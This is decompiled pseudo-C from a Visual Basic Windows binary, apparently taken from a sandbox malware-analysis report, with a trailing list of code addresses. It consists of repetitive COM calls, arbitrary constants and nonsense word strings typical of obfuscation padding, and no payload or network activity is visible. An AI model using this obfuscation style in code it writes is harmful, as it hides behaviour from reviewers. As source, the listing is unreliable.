				_t945 =  *((intOrPtr*)( *_v272 + 0x1c8))(_v272, _t942,  *((intOrPtr*)( *((intOrPtr*)( *_v328)) + 0x31c))( *_v328));
				asm("fclex");
				_v276 = _t945;
				if(_v276 >= 0) {
					_v332 = _v332 & 0x00000000;
				} else {
					_push(0x1c8);
					_push(0x4028f4);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v332 = _t945;
				}
				L00401466();
				if( *0x413010 != 0) {
					_v336 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v336 = 0x413010;
				}
				_t949 =  &_v92;
				L00401478();
				_v272 = _t949;
				_t953 =  *((intOrPtr*)( *_v272 + 0x1e8))(_v272,  &_v212, _t949,  *((intOrPtr*)( *((intOrPtr*)( *_v336)) + 0x30c))( *_v336));
				asm("fclex");
				_v276 = _t953;
				if(_v276 >= 0) {
					_v340 = _v340 & 0x00000000;
				} else {
					_push(0x1e8);
					_push(0x402904);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v340 = _t953;
				}
				if( *0x413010 != 0) {
					_v344 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v344 = 0x413010;
				}
				_t957 =  &_v96;
				L00401478();
				_v280 = _t957;
				_t961 =  *((intOrPtr*)( *_v280 + 0x1c0))(_v280,  &_v228, _t957,  *((intOrPtr*)( *((intOrPtr*)( *_v344)) + 0x30c))( *_v344));
				asm("fclex");
				_v284 = _t961;
				if(_v284 >= 0) {
					_v348 = _v348 & 0x00000000;
				} else {
					_push(0x1c0);
					_push(0x402904);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v348 = _t961;
				}
				if( *0x413010 != 0) {
					_v352 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v352 = 0x413010;
				}
				_t1383 =  *((intOrPtr*)( *_v352));
				_t965 =  &_v100;
				L00401478();
				_v288 = _t965;
				_t969 =  *((intOrPtr*)( *_v288 + 0x80))(_v288,  &_v232, _t965,  *((intOrPtr*)(_t1383 + 0x31c))( *_v352));
				asm("fclex");
				_v292 = _t969;
				if(_v292 >= 0) {
					_v356 = _v356 & 0x00000000;
				} else {
					_push(0x80);
					_push(0x4028f4);
					_push(_v288);
					_push(_v292);
					L0040146C();
					_v356 = _t969;
				}
				_v240 = _v228;
				_v236 = 0x3a3690;
				 *_t1507 = _v232;
				 *((intOrPtr*)( *_a4 + 0x718))(_a4, _v212,  &_v236,  &_v240, _t1383,  &_v128);
				L00401460();
				_push( &_v100);
				_push( &_v96);
				_push( &_v92);
				_push(3);
				L0040145A();
				_t1508 = _t1507 + 0x10;
				if( *0x413010 != 0) {
					_v360 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v360 = 0x413010;
				}
				_t1387 =  *((intOrPtr*)( *_v360));
				_t983 =  &_v92;
				L00401478();
				_v272 = _t983;
				_t987 =  *((intOrPtr*)( *_v272 + 0x128))(_v272,  &_v228, _t983,  *((intOrPtr*)(_t1387 + 0x304))( *_v360));
				asm("fclex");
				_v276 = _t987;
				if(_v276 >= 0) {
					_v364 = _v364 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x402914);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v364 = _t987;
				}
				_v268 =  *0x4011a8;
				_v260 = 0x18ae480;
				_v256 = 0x5aff;
				_v252 =  *0x4011a0;
				_v236 = 0x3c7eca;
				_v232 = _v228;
				_v168 =  *0x401198;
				 *_t1508 =  *0x401190;
				_t996 =  *((intOrPtr*)( *_a4 + 0x6f8))(_a4,  &_v232, _t1387,  &_v236, 0x5886bd,  &_v252,  &_v260,  &_v268, _t1387, _t1387);
				_v280 = _t996;
				if(_v280 >= 0) {
					_v368 = _v368 & 0x00000000;
				} else {
					_push(0x6f8);
					_push(0x402740);
					_push(_a4);
					_push(_v280);
					L0040146C();
					_v368 = _t996;
				}
				L00401466();
				if( *0x413010 != 0) {
					_v372 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v372 = 0x413010;
				}
				_t1000 =  &_v92;
				L00401478();
				_v272 = _t1000;
				_t1004 =  *((intOrPtr*)( *_v272 + 0x110))(_v272,  &_v88, _t1000,  *((intOrPtr*)( *((intOrPtr*)( *_v372)) + 0x308))( *_v372));
				asm("fclex");
				_v276 = _t1004;
				if(_v276 >= 0) {
					_v376 = _v376 & 0x00000000;
				} else {
					_push(0x110);
					_push(0x402924);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v376 = _t1004;
				}
				if( *0x413010 != 0) {
					_v380 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v380 = 0x413010;
				}
				_t1008 =  &_v96;
				L00401478();
				_v280 = _t1008;
				_t1012 =  *((intOrPtr*)( *_v280 + 0x68))(_v280,  &_v228, _t1008,  *((intOrPtr*)( *((intOrPtr*)( *_v380)) + 0x304))( *_v380));
				asm("fclex");
				_v284 = _t1012;
				if(_v284 >= 0) {
					_v384 = _v384 & 0x00000000;
				} else {
					_push(0x68);
					_push(0x402914);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v384 = _t1012;
				}
				_v136 = _v228;
				_v144 = 3;
				_v312 = _v88;
				_v88 = _v88 & 0x00000000;
				_v120 = _v312;
				_v128 = 8;
				_v232 = 0x8216d3;
				_v212 = 0x10ef;
				_v252 =  *0x401188;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1024 =  *((intOrPtr*)( *_a4 + 0x6fc))(_a4,  &_v252, 0x9e2ab50, 0x5af4,  &_v212, 0x1376,  &_v232, 0x3c6210, 0x853b0e00, 0x5af4, 0x10,  &_v144,  &_v260);
				_v288 = _t1024;
				if(_v288 >= 0) {
					_v388 = _v388 & 0x00000000;
				} else {
					_push(0x6fc);
					_push(0x402740);
					_push(_a4);
					_push(_v288);
					L0040146C();
					_v388 = _t1024;
				}
				_v84 = _v260;
				_v80 = _v256;
				_push( &_v96);
				_push( &_v92);
				_push(2);
				L0040145A();
				_push( &_v144);
				_push( &_v128);
				_push(2);
				L00401454();
				_t1510 = _t1508 + 0x18;
				if( *0x413010 != 0) {
					_v392 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v392 = 0x413010;
				}
				_t1034 =  &_v92;
				L00401478();
				_v272 = _t1034;
				_t1038 =  *((intOrPtr*)( *_v272 + 0xf8))(_v272,  &_v212, _t1034,  *((intOrPtr*)( *((intOrPtr*)( *_v392)) + 0x310))( *_v392));
				asm("fclex");
				_v276 = _t1038;
				if(_v276 >= 0) {
					_v396 = _v396 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x402904);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v396 = _t1038;
				}
				if( *0x413010 != 0) {
					_v400 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v400 = 0x413010;
				}
				_t1042 =  &_v96;
				L00401478();
				_v280 = _t1042;
				_t1046 =  *((intOrPtr*)( *_v280 + 0x128))(_v280,  &_v228, _t1042,  *((intOrPtr*)( *((intOrPtr*)( *_v400)) + 0x304))( *_v400));
				asm("fclex");
				_v284 = _t1046;
				if(_v284 >= 0) {
					_v404 = _v404 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x402914);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v404 = _t1046;
				}
				if( *0x413010 != 0) {
					_v408 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v408 = 0x413010;
				}
				_t1050 =  &_v100;
				L00401478();
				_v288 = _t1050;
				_t1054 =  *((intOrPtr*)( *_v288 + 0x140))(_v288,  &_v216, _t1050,  *((intOrPtr*)( *((intOrPtr*)( *_v408)) + 0x308))( *_v408));
				asm("fclex");
				_v292 = _t1054;
				if(_v292 >= 0) {
					_v412 = _v412 & 0x00000000;
				} else {
					_push(0x140);
					_push(0x402924);
					_push(_v288);
					_push(_v292);
					L0040146C();
					_v412 = _t1054;
				}
				if( *0x413010 != 0) {
					_v416 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v416 = 0x413010;
				}
				_t1406 =  *((intOrPtr*)( *_v416));
				_t1058 =  &_v104;
				L00401478();
				_v296 = _t1058;
				_t1062 =  *((intOrPtr*)( *_v296 + 0x130))(_v296,  &_v232, _t1058,  *((intOrPtr*)(_t1406 + 0x300))( *_v416));
				asm("fclex");
				_v300 = _t1062;
				if(_v300 >= 0) {
					_v420 = _v420 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x402934);
					_push(_v296);
					_push(_v300);
					L0040146C();
					_v420 = _t1062;
				}
				_v240 = _v232;
				_v224 = 0x2258;
				_v236 = _v228;
				_v168 = 0x3f2b52;
				_v176 = 3;
				_v220 = _v212;
				_v392 =  *0x401180;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *((intOrPtr*)( *_a4 + 0x71c))(_a4,  &_v220, 0x10,  &_v236, _t1406, _v216,  &_v224,  &_v240, 0x5ba9cd,  &_v252);
				_v76 = _v252;
				_push( &_v104);
				_push( &_v100);
				_push( &_v96);
				_push( &_v92);
				_push(4);
				L0040145A();
				_t1511 = _t1510 + 0x14;
				if( *0x413010 != 0) {
					_v424 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v424 = 0x413010;
				}
				_t1082 =  &_v92;
				L00401478();
				_v272 = _t1082;
				_t1086 =  *((intOrPtr*)( *_v272 + 0x178))(_v272,  &_v228, _t1082,  *((intOrPtr*)( *((intOrPtr*)( *_v424)) + 0x31c))( *_v424));
				asm("fclex");
				_v276 = _t1086;
				if(_v276 >= 0) {
					_v428 = _v428 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x4028f4);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v428 = _t1086;
				}
				if( *0x413010 != 0) {
					_v432 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v432 = 0x413010;
				}
				_t1090 =  &_v96;
				L00401478();
				_v280 = _t1090;
				_t1094 =  *((intOrPtr*)( *_v280 + 0x58))(_v280,  &_v232, _t1090,  *((intOrPtr*)( *((intOrPtr*)( *_v432)) + 0x30c))( *_v432));
				asm("fclex");
				_v284 = _t1094;
				if(_v284 >= 0) {
					_v436 = _v436 & 0x00000000;
				} else {
					_push(0x58);
					_push(0x402904);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v436 = _t1094;
				}
				if( *0x413010 != 0) {
					_v440 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v440 = 0x413010;
				}
				_t1098 =  &_v100;
				L00401478();
				_v288 = _t1098;
				_t1102 =  *((intOrPtr*)( *_v288 + 0x70))(_v288,  &_v236, _t1098,  *((intOrPtr*)( *((intOrPtr*)( *_v440)) + 0x31c))( *_v440));
				asm("fclex");
				_v292 = _t1102;
				if(_v292 >= 0) {
					_v444 = _v444 & 0x00000000;
				} else {
					_push(0x70);
					_push(0x4028f4);
					_push(_v288);
					_push(_v292);
					L0040146C();
					_v444 = _t1102;
				}
				if( *0x413010 != 0) {
					_v448 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v448 = 0x413010;
				}
				_t1106 =  &_v104;
				L00401478();
				_v296 = _t1106;
				_t1110 =  *((intOrPtr*)( *_v296 + 0x1c0))(_v296,  &_v240, _t1106,  *((intOrPtr*)( *((intOrPtr*)( *_v448)) + 0x30c))( *_v448));
				asm("fclex");
				_v300 = _t1110;
				if(_v300 >= 0) {
					_v452 = _v452 & 0x00000000;
				} else {
					_push(0x1c0);
					_push(0x402904);
					_push(_v296);
					_push(_v300);
					L0040146C();
					_v452 = _t1110;
				}
				_v152 = _v240;
				_v160 = 3;
				_v252 =  *0x401178;
				_v212 = 0x7359;
				_v136 = _v228;
				_v144 = 3;
				_v168 = L"Semipalmate";
				_v176 = 8;
				L0040144E();
				_v500 = _v236;
				 *((intOrPtr*)( *_a4 + 0x724))(_a4,  &_v128,  &_v144,  &_v212, _v232,  &_v252,  &_v128,  &_v160, 0x60b8ca80, 0x5b04);
				L0040145A();
				L00401454();
				_t1513 = _t1511 + 0x24;
				_v252 = 0xcd58e1e0;
				_v248 = 0x5afd;
				 *((intOrPtr*)( *_a4 + 0x728))(_a4, 0x50c582,  &_v252, 0x73f7a9,  &_v228, 3,  &_v128,  &_v144,  &_v160, 4,  &_v92,  &_v96,  &_v100,  &_v104);
				_v48 = _v228;
				if( *0x413010 != 0) {
					_v456 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v456 = 0x413010;
				}
				_t1137 =  &_v92;
				L00401478();
				_v272 = _t1137;
				_t1141 =  *((intOrPtr*)( *_v272 + 0x170))(_v272,  &_v228, _t1137,  *((intOrPtr*)( *((intOrPtr*)( *_v456)) + 0x30c))( *_v456));
				asm("fclex");
				_v276 = _t1141;
				if(_v276 >= 0) {
					_v460 = _v460 & 0x00000000;
				} else {
					_push(0x170);
					_push(0x402904);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v460 = _t1141;
				}
				_v252 = 0x24b05a50;
				_v248 = 0x5af3;
				_v232 = _v228;
				_t1147 =  *((intOrPtr*)( *_a4 + 0x700))(_a4,  &_v232, L"uncomeliest",  &_v252);
				_v280 = _t1147;
				if(_v280 >= 0) {
					_v464 = _v464 & 0x00000000;
				} else {
					_push(0x700);
					_push(0x402740);
					_push(_a4);
					_push(_v280);
					L0040146C();
					_v464 = _t1147;
				}
				L00401466();
				 *((intOrPtr*)( *_a4 + 0x72c))(_a4);
				_v168 = L"Antiracing2";
				_v176 = 8;
				_t1424 =  &_v128;
				L0040144E();
				_v596 =  *0x401170;
				_t1154 =  *((intOrPtr*)( *_a4 + 0x704))(_a4, _t1424, _t1424,  &_v128);
				_v272 = _t1154;
				if(_v272 >= 0) {
					_v468 = _v468 & 0x00000000;
				} else {
					_push(0x704);
					_push(0x402740);
					_push(_a4);
					_push(_v272);
					L0040146C();
					_v468 = _t1154;
				}
				L00401448();
				if( *0x413010 != 0) {
					_v472 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v472 = 0x413010;
				}
				_t1158 =  &_v92;
				L00401478();
				_v272 = _t1158;
				_t1162 =  *((intOrPtr*)( *_v272 + 0x100))(_v272,  &_v96, _t1158,  *((intOrPtr*)( *((intOrPtr*)( *_v472)) + 0x308))( *_v472));
				asm("fclex");
				_v276 = _t1162;
				if(_v276 >= 0) {
					_v476 = _v476 & 0x00000000;
				} else {
					_push(0x100);
					_push(0x402924);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v476 = _t1162;
				}
				_push(0);
				_push(0);
				_push(_v96);
				_push( &_v128);
				L00401442();
				_t1514 = _t1513 + 0x10;
				if( *0x413010 != 0) {
					_v480 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v480 = 0x413010;
				}
				_t1167 =  &_v100;
				L00401478();
				_v280 = _t1167;
				_t1171 =  *((intOrPtr*)( *_v280 + 0x1e8))(_v280,  &_v212, _t1167,  *((intOrPtr*)( *((intOrPtr*)( *_v480)) + 0x310))( *_v480));
				asm("fclex");
				_v284 = _t1171;
				if(_v284 >= 0) {
					_v484 = _v484 & 0x00000000;
				} else {
					_push(0x1e8);
					_push(0x402904);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v484 = _t1171;
				}
				if( *0x413010 != 0) {
					_v488 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v488 = 0x413010;
				}
				_t1434 =  *((intOrPtr*)( *_v488));
				_t1175 =  &_v104;
				L00401478();
				_v288 = _t1175;
				_t1179 =  *((intOrPtr*)( *_v288 + 0x70))(_v288,  &_v228, _t1175,  *((intOrPtr*)(_t1434 + 0x310))( *_v488));
				asm("fclex");
				_v292 = _t1179;
				if(_v292 >= 0) {
					_v492 = _v492 & 0x00000000;
				} else {
					_push(0x70);
					_push(0x402904);
					_push(_v288);
					_push(_v292);
					L0040146C();
					_v492 = _t1179;
				}
				_v216 = 0x5338;
				_t1180 =  &_v128;
				L0040143C();
				_v232 = _t1180;
				_v260 = 0x3e88af00;
				_v256 = 0x5b01;
				_v252 =  *0x401168;
				 *_t1514 = _v228;
				 *_t1514 =  *0x401160;
				_t1188 =  *((intOrPtr*)( *_a4 + 0x708))(_a4,  &_v252, _t1434,  &_v260,  &_v232, L"angiopathy", _v212,  &_v216, _t1434,  &_v236, _t1180);
				_v296 = _t1188;
				if(_v296 >= 0) {
					_v496 = _v496 & 0x00000000;
				} else {
					_push(0x708);
					_push(0x402740);
					_push(_a4);
					_push(_v296);
					L0040146C();
					_v496 = _t1188;
				}
				_v28 = _v236;
				_push( &_v96);
				_push( &_v104);
				_push( &_v100);
				_push( &_v92);
				_push(4);
				L0040145A();
				_t1515 = _t1514 + 0x14;
				L00401448();
				if( *0x413010 != 0) {
					_v500 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v500 = 0x413010;
				}
				_t1197 =  &_v92;
				L00401478();
				_v272 = _t1197;
				_t1201 =  *((intOrPtr*)( *_v272 + 0x138))(_v272,  &_v96, _t1197,  *((intOrPtr*)( *((intOrPtr*)( *_v500)) + 0x30c))( *_v500));
				asm("fclex");
				_v276 = _t1201;
				if(_v276 >= 0) {
					_v504 = _v504 & 0x00000000;
				} else {
					_push(0x138);
					_push(0x402904);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v504 = _t1201;
				}
				if( *0x413010 != 0) {
					_v508 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v508 = 0x413010;
				}
				_t1441 =  *((intOrPtr*)( *_v508));
				_t1205 =  &_v100;
				L00401478();
				_v280 = _t1205;
				_t1209 =  *((intOrPtr*)( *_v280 + 0x178))(_v280,  &_v228, _t1205,  *((intOrPtr*)(_t1441 + 0x31c))( *_v508));
				asm("fclex");
				_v284 = _t1209;
				if(_v284 >= 0) {
					_v512 = _v512 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x4028f4);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v512 = _t1209;
				}
				_v216 = 0x1383;
				_v212 = 0x233c;
				_v252 = 0xd93e190;
				_v248 = 0x5af6;
				_v316 = _v96;
				_v96 = _v96 & 0x00000000;
				_v120 = _v316;
				_v128 = 9;
				 *_t1515 =  *0x401158;
				 *_t1515 =  *0x401150;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *((intOrPtr*)( *_a4 + 0x730))(_a4, 0x10,  &_v252, _t1441, _v228,  &_v212, _t1441, _t1441,  &_v216);
				_push( &_v100);
				_push( &_v92);
				_push(2);
				L0040145A();
				_t1516 = _t1515 + 0xc;
				L00401448();
				if( *0x413010 != 0) {
					_v516 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v516 = 0x413010;
				}
				_t1224 =  &_v92;
				L00401478();
				_v272 = _t1224;
				_t1228 =  *((intOrPtr*)( *_v272 + 0x180))(_v272,  &_v228, _t1224,  *((intOrPtr*)( *((intOrPtr*)( *_v516)) + 0x308))( *_v516));
				asm("fclex");
				_v276 = _t1228;
				if(_v276 >= 0) {
					_v520 = _v520 & 0x00000000;
				} else {
					_push(0x180);
					_push(0x402924);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v520 = _t1228;
				}
				if( *0x413010 != 0) {
					_v524 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v524 = 0x413010;
				}
				_t1232 =  &_v96;
				L00401478();
				_v280 = _t1232;
				_t1236 =  *((intOrPtr*)( *_v280 + 0x168))(_v280,  &_v100, _t1232,  *((intOrPtr*)( *((intOrPtr*)( *_v524)) + 0x308))( *_v524));
				asm("fclex");
				_v284 = _t1236;
				if(_v284 >= 0) {
					_v528 = _v528 & 0x00000000;
				} else {
					_push(0x168);
					_push(0x402924);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v528 = _t1236;
				}
				L00401442();
				_v252 =  *0x401148;
				_v232 = _v228;
				_t1240 =  &_v128;
				L0040143C();
				 *((intOrPtr*)( *_a4 + 0x734))(_a4,  &_v232,  &_v252, _t1240, _t1240,  &_v144,  &_v128, _v100, 0, 0);
				L00401460();
				_push( &_v100);
				_push( &_v96);
				_push( &_v92);
				_push(3);
				L0040145A();
				_t1518 = _t1516 + 0x20;
				L00401448();
				if( *0x413010 != 0) {
					_v532 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v532 = 0x413010;
				}
				_t1252 =  &_v92;
				L00401478();
				_v272 = _t1252;
				_t1256 =  *((intOrPtr*)( *_v272 + 0x70))(_v272,  &_v228, _t1252,  *((intOrPtr*)( *((intOrPtr*)( *_v532)) + 0x310))( *_v532));
				asm("fclex");
				_v276 = _t1256;
				if(_v276 >= 0) {
					_v536 = _v536 & 0x00000000;
				} else {
					_push(0x70);
					_push(0x402904);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v536 = _t1256;
				}
				if( *0x413010 != 0) {
					_v540 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v540 = 0x413010;
				}
				_t1260 =  &_v96;
				L00401478();
				_v280 = _t1260;
				_t1264 =  *((intOrPtr*)( *_v280 + 0x238))(_v280,  &_v88, _t1260,  *((intOrPtr*)( *((intOrPtr*)( *_v540)) + 0x310))( *_v540));
				asm("fclex");
				_v284 = _t1264;
				if(_v284 >= 0) {
					_v544 = _v544 & 0x00000000;
				} else {
					_push(0x238);
					_push(0x402904);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v544 = _t1264;
				}
				_v320 = _v88;
				_v88 = _v88 & 0x00000000;
				_v136 = _v320;
				_v144 = 8;
				_v168 = L"Inddatastrengens";
				_v176 = 8;
				L0040144E();
				 *_t1518 = _v228;
				 *((intOrPtr*)( *_a4 + 0x738))(_a4,  &_v128, 0x18c0,  &_v128,  &_v144, 0xfa9c7910, 0x5b06);
				_push( &_v96);
				_push( &_v92);
				_push(2);
				L0040145A();
				_push( &_v144);
				_push( &_v128);
				_push(2);
				L00401454();
				_t1520 = _t1518 + 0x18;
				if( *0x413010 != 0) {
					_v548 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v548 = 0x413010;
				}
				_t1460 =  *((intOrPtr*)( *_v548));
				_t1279 =  &_v92;
				L00401478();
				_v272 = _t1279;
				_t1283 =  *((intOrPtr*)( *_v272 + 0x80))(_v272,  &_v228, _t1279,  *((intOrPtr*)(_t1460 + 0x310))( *_v548));
				asm("fclex");
				_v276 = _t1283;
				if(_v276 >= 0) {
					_v552 = _v552 & 0x00000000;
				} else {
					_push(0x80);
					_push(0x402904);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v552 = _t1283;
				}
				_v240 = 0x78288a;
				_v236 = 0x83a9e4;
				_v168 = 0x707ca4;
				_v176 = 3;
				_v232 = _v228;
				 *_t1520 =  *0x401140;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *((intOrPtr*)( *_a4 + 0x73c))(_a4,  &_v232, 0x10,  &_v236,  &_v240, 0x28619090, 0x5af5, _t1460, _t1460,  &_v244);
				_v68 = _v244;
				L00401466();
				if( *0x413010 != 0) {
					_v556 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v556 = 0x413010;
				}
				_t1295 =  &_v92;
				L00401478();
				_v272 = _t1295;
				_t1299 =  *((intOrPtr*)( *_v272 + 0xe0))(_v272,  &_v212, _t1295,  *((intOrPtr*)( *((intOrPtr*)( *_v556)) + 0x310))( *_v556));
				asm("fclex");
				_v276 = _t1299;
				if(_v276 >= 0) {
					_v560 = _v560 & 0x00000000;
				} else {
					_push(0xe0);
					_push(0x402904);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v560 = _t1299;
				}
				_v252 = 0x4b058610;
				_v248 = 0x5b04;
				L00401436();
				_t1304 =  *((intOrPtr*)( *_a4 + 0x70c))(_a4,  &_v88,  &_v252, _v212);
				_v280 = _t1304;
				if(_v280 >= 0) {
					_v564 = _v564 & 0x00000000;
				} else {
					_push(0x70c);
					_push(0x402740);
					_push(_a4);
					_push(_v280);
					L0040146C();
					_v564 = _t1304;
				}
				L00401430();
				L00401466();
				if( *0x413010 != 0) {
					_v568 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v568 = 0x413010;
				}
				_t1308 =  &_v92;
				L00401478();
				_v272 = _t1308;
				_t1312 =  *((intOrPtr*)( *_v272 + 0x150))(_v272,  &_v96, _t1308,  *((intOrPtr*)( *((intOrPtr*)( *_v568)) + 0x300))( *_v568));
				asm("fclex");
				_v276 = _t1312;
				if(_v276 >= 0) {
					_v572 = _v572 & 0x00000000;
				} else {
					_push(0x150);
					_push(0x402934);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v572 = _t1312;
				}
				_push(0);
				_push(0);
				_push(_v96);
				_push( &_v128); // executed
				L00401442(); // executed
				if( *0x413010 != 0) {
					_v576 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v576 = 0x413010;
				}
				_t1317 =  &_v100;
				L00401478();
				_v280 = _t1317;
				_t1321 =  *((intOrPtr*)( *_v280 + 0x160))(_v280,  &_v104, _t1317,  *((intOrPtr*)( *((intOrPtr*)( *_v576)) + 0x308))( *_v576));
				asm("fclex");
				_v284 = _t1321;
				if(_v284 >= 0) {
					_v580 = _v580 & 0x00000000;
				} else {
					_push(0x160);
					_push(0x402924);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v580 = _t1321;
				}
				if( *0x413010 != 0) {
					_v584 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v584 = 0x413010;
				}
				_t1325 =  &_v108;
				L00401478();
				_v288 = _t1325;
				_t1329 =  *((intOrPtr*)( *_v288 + 0xf0))(_v288,  &_v112, _t1325,  *((intOrPtr*)( *((intOrPtr*)( *_v584)) + 0x304))( *_v584));
				asm("fclex");
				_v292 = _t1329;
				if(_v292 >= 0) {
					_v588 = _v588 & 0x00000000;
				} else {
					_push(0xf0);
					_push(0x402914);
					_push(_v288);
					_push(_v292);
					L0040146C();
					_v588 = _t1329;
				}
				L00401442();
				_t1331 =  &_v160;
				L0040143C();
				_v232 = _t1331;
				_v228 =  *0x401138;
				_v324 = _v104;
				_v104 = _v104 & 0x00000000;
				_v136 = _v324;
				_v144 = 9;
				L00401424();
				L0040142A();
				_v252 =  *0x401130;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1342 =  *((intOrPtr*)( *_a4 + 0x710))(_a4, 0xc14fe4d0, 0x5b06,  &_v252, 0x177e3170, 0x5afa,  &_v88, 0x10,  &_v228, L"lymphopoiesis",  &_v232, 0x59eb55,  &_v128, _t1331,  &_v160, _v112, 0, 0);
				_v296 = _t1342;
				if(_v296 >= 0) {
					_v592 = _v592 & 0x00000000;
				} else {
					_push(0x710);
					_push(0x402740);
					_push(_a4);
					_push(_v296);
					L0040146C();
					_v592 = _t1342;
				}
				L00401430();
				_push( &_v112);
				_push( &_v96);
				_push( &_v108);
				_push( &_v100);
				_push( &_v92);
				_push(5);
				L0040145A();
				_push( &_v160);
				_push( &_v144);
				_push( &_v128);
				_push(3);
				L00401454();
				if( *0x413010 != 0) {
					_v596 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v596 = 0x413010;
				}
				_t1354 =  &_v92;
				L00401478();
				_v272 = _t1354;
				_t1358 =  *((intOrPtr*)( *_v272 + 0x128))(_v272,  &_v228, _t1354,  *((intOrPtr*)( *((intOrPtr*)( *_v596)) + 0x304))( *_v596));
				asm("fclex");
				_v276 = _t1358;
				if(_v276 >= 0) {
					_v600 = _v600 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x402914);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v600 = _t1358;
				}
				_v252 =  *0x401128;
				_v236 = _v228;
				_v232 = 0x1e57c5;
				 *((intOrPtr*)( *_a4 + 0x740))(_a4,  &_v232,  &_v236,  &_v252);
				L00401466();
				_t1369 =  *((intOrPtr*)( *_a4 + 0x744))(_a4,  &_v228);
				_v8 = 0;
				asm("wait");
				_push(0x410fda);
				L00401448();
				L00401448();
				return _t1369;
			}

0x0040ef87
0x0040ef96
0x0040efa2
0x0040efaa
0x0040efad
0x0040efba
0x0040efc2
0x0040efcd
0x0040efd7
0x0040eff4
0x0040efd9
0x0040efd9
0x0040efde
0x0040efe3
0x0040efe8
0x0040efe8
0x0040f018
0x0040f01c
0x0040f021
0x0040f035
0x0040f03b
0x0040f03d
0x0040f04a
0x0040f06f
0x0040f04c
0x0040f04c
0x0040f051
0x0040f056
0x0040f05c
0x0040f062
0x0040f067
0x0040f067
0x0040f079
0x0040f085
0x0040f0a2
0x0040f087
0x0040f087
0x0040f08c
0x0040f091
0x0040f096
0x0040f096
0x0040f0c6
0x0040f0ca
0x0040f0cf
0x0040f0ea
0x0040f0f0
0x0040f0f2
0x0040f0ff
0x0040f124
0x0040f101
0x0040f101
0x0040f106
0x0040f10b
0x0040f111
0x0040f117
0x0040f11c
0x0040f11c
0x0040f132
0x0040f14f
0x0040f134
0x0040f134
0x0040f139
0x0040f13e
0x0040f143
0x0040f143
0x0040f173
0x0040f177
0x0040f17c
0x0040f197
0x0040f19d
